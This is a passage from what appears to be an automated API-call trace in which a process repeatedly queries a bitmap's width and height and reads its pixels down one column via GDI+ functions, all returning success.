[0283.905] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.905] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.905] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=43, color=0x23e6b0) returned 0x0 [0283.905] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.905] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.905] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=44, color=0x23e6b0) returned 0x0 [0283.905] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.905] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.905] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=45, color=0x23e6b0) returned 0x0 [0283.905] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.906] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.906] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=46, color=0x23e6b0) returned 0x0 [0283.906] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.906] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.906] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=47, color=0x23e6b0) returned 0x0 [0283.906] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.907] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.907] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=48, color=0x23e6b0) returned 0x0 [0283.907] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.907] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.907] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=49, color=0x23e6b0) returned 0x0 [0283.907] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.908] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.908] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=50, color=0x23e6b0) returned 0x0 [0283.908] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.908] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.908] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=51, color=0x23e6b0) returned 0x0 [0283.908] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.908] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.909] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=52, color=0x23e6b0) returned 0x0 [0283.909] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.909] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.909] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=53, color=0x23e6b0) returned 0x0 [0283.909] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.910] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.910] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=54, color=0x23e6b0) returned 0x0 [0283.910] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.910] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.910] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=55, color=0x23e6b0) returned 0x0 [0283.910] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.910] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.910] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=56, color=0x23e6b0) returned 0x0 [0283.910] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.910] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.911] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=57, color=0x23e6b0) returned 0x0 [0283.911] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.911] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.911] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=58, color=0x23e6b0) returned 0x0 [0283.911] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.911] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.911] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=59, color=0x23e6b0) returned 0x0 [0283.911] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.911] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.911] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=60, color=0x23e6b0) returned 0x0 [0283.912] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.912] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.912] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=61, color=0x23e6b0) returned 0x0 [0283.912] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.912] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.912] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=62, color=0x23e6b0) returned 0x0 [0283.912] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.912] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.912] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=63, color=0x23e6b0) returned 0x0 [0283.913] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.913] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.913] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=64, color=0x23e6b0) returned 0x0 [0283.913] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.913] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.913] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=65, color=0x23e6b0) returned 0x0 [0283.913] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.913] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.913] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=66, color=0x23e6b0) returned 0x0 [0283.913] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.913] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.914] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=67, color=0x23e6b0) returned 0x0 [0283.914] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.914] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.914] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=68, color=0x23e6b0) returned 0x0 [0283.914] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.914] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.914] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=69, color=0x23e6b0) returned 0x0 [0283.914] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.914] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.914] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=70, color=0x23e6b0) returned 0x0 [0283.914] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.914] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.915] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=71, color=0x23e6b0) returned 0x0 [0283.915] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.915] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.915] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=72, color=0x23e6b0) returned 0x0 [0283.915] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.915] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.915] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=73, color=0x23e6b0) returned 0x0 [0283.915] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.915] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.915] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=74, color=0x23e6b0) returned 0x0 [0283.916] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.916] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.916] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=75, color=0x23e6b0) returned 0x0 [0283.916] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.916] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.916] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=76, color=0x23e6b0) returned 0x0 [0283.916] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.916] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.916] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=77, color=0x23e6b0) returned 0x0 [0283.916] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.917] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.917] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=78, color=0x23e6b0) returned 0x0 [0283.917] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.917] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.917] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=79, color=0x23e6b0) returned 0x0 [0283.917] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.917] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.917] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=80, color=0x23e6b0) returned 0x0 [0283.917] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.918] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.918] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=81, color=0x23e6b0) returned 0x0 [0283.918] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.918] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.918] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=82, color=0x23e6b0) returned 0x0 [0283.918] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.918] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.918] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=83, color=0x23e6b0) returned 0x0 [0283.918] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.921] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.921] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=84, color=0x23e6b0) returned 0x0 [0283.922] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.922] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.923] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=85, color=0x23e6b0) returned 0x0 [0283.923] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.924] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.924] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=86, color=0x23e6b0) returned 0x0 [0283.924] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.925] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.925] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=87, color=0x23e6b0) returned 0x0 [0283.926] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.926] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.927] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=88, color=0x23e6b0) returned 0x0 [0283.927] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.928] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.928] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=89, color=0x23e6b0) returned 0x0 [0283.928] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.929] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.929] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=90, color=0x23e6b0) returned 0x0 [0283.930] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.930] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.930] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=91, color=0x23e6b0) returned 0x0 [0283.931] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.931] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.932] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=92, color=0x23e6b0) returned 0x0 [0283.932] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.933] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.933] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=93, color=0x23e6b0) returned 0x0 [0283.933] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.934] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.934] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=94, color=0x23e6b0) returned 0x0 [0283.935] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.935] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.935] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=95, color=0x23e6b0) returned 0x0 [0283.936] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.936] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.937] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=96, color=0x23e6b0) returned 0x0 [0283.937] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.937] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.938] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=97, color=0x23e6b0) returned 0x0 [0283.938] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.940] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.941] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=98, color=0x23e6b0) returned 0x0 [0283.941] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.941] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.942] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=99, color=0x23e6b0) returned 0x0 [0283.942] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.943] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.943] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=100, color=0x23e6b0) returned 0x0 [0283.944] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.944] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.945] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=101, color=0x23e6b0) returned 0x0 [0283.945] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.945] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.946] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=102, color=0x23e6b0) returned 0x0 [0283.946] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.947] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.947] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=103, color=0x23e6b0) returned 0x0 [0283.947] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.948] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.948] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=104, color=0x23e6b0) returned 0x0 [0283.949] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.949] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.949] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=105, color=0x23e6b0) returned 0x0 [0283.950] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.950] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.951] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=106, color=0x23e6b0) returned 0x0 [0283.951] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.952] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.952] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=107, color=0x23e6b0) returned 0x0 [0283.953] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.953] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.953] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=108, color=0x23e6b0) returned 0x0 [0283.954] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.955] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.956] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=109, color=0x23e6b0) returned 0x0 [0283.956] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.957] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.957] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=110, color=0x23e6b0) returned 0x0 [0283.957] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.958] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.958] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=111, color=0x23e6b0) returned 0x0 [0283.959] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.959] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.959] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=112, color=0x23e6b0) returned 0x0 [0283.960] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.960] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.961] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=113, color=0x23e6b0) returned 0x0 [0283.961] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.961] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.962] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=114, color=0x23e6b0) returned 0x0 [0283.962] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.963] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.963] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=115, color=0x23e6b0) returned 0x0 [0283.963] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.964] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.964] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=116, color=0x23e6b0) returned 0x0 [0283.965] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.965] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.965] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=117, color=0x23e6b0) returned 0x0 [0283.966] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.966] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.966] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=118, color=0x23e6b0) returned 0x0 [0283.967] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.967] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.968] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=119, color=0x23e6b0) returned 0x0 [0283.968] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.968] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.969] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=120, color=0x23e6b0) returned 0x0 [0283.969] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.970] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.970] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=121, color=0x23e6b0) returned 0x0 [0283.971] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.971] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.971] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=122, color=0x23e6b0) returned 0x0 [0283.972] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.972] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.973] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=123, color=0x23e6b0) returned 0x0 [0283.973] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.973] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.974] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=124, color=0x23e6b0) returned 0x0 [0283.974] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.974] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.975] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=125, color=0x23e6b0) returned 0x0 [0283.976] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.976] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.976] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=126, color=0x23e6b0) returned 0x0 [0283.977] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.977] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.978] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=127, color=0x23e6b0) returned 0x0 [0283.978] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.978] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.979] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=128, color=0x23e6b0) returned 0x0 [0283.979] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.980] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.980] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=129, color=0x23e6b0) returned 0x0 [0283.981] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.981] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.981] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=130, color=0x23e6b0) returned 0x0 [0283.982] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.982] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.983] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=131, color=0x23e6b0) returned 0x0 [0283.983] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.983] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.984] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=132, color=0x23e6b0) returned 0x0 [0283.984] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.985] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.985] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=133, color=0x23e6b0) returned 0x0 [0283.985] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.986] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.986] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=134, color=0x23e6b0) returned 0x0 [0283.987] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.987] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.987] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=135, color=0x23e6b0) returned 0x0 [0283.988] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.988] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.989] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=136, color=0x23e6b0) returned 0x0 [0283.989] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.989] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.990] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=137, color=0x23e6b0) returned 0x0 [0283.990] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.990] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.991] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=138, color=0x23e6b0) returned 0x0 [0283.991] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.992] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.992] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=139, color=0x23e6b0) returned 0x0 [0283.992] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.993] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.993] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=140, color=0x23e6b0) returned 0x0 [0283.994] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.994] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.995] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=141, color=0x23e6b0) returned 0x0 [0283.995] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.995] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.996] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=142, color=0x23e6b0) returned 0x0 [0283.996] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.997] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.997] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=143, color=0x23e6b0) returned 0x0 [0283.997] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.998] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.998] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=144, color=0x23e6b0) returned 0x0 [0283.999] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.999] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.999] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=145, color=0x23e6b0) returned 0x0 [0284.000] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.000] GdipGetImageHeight 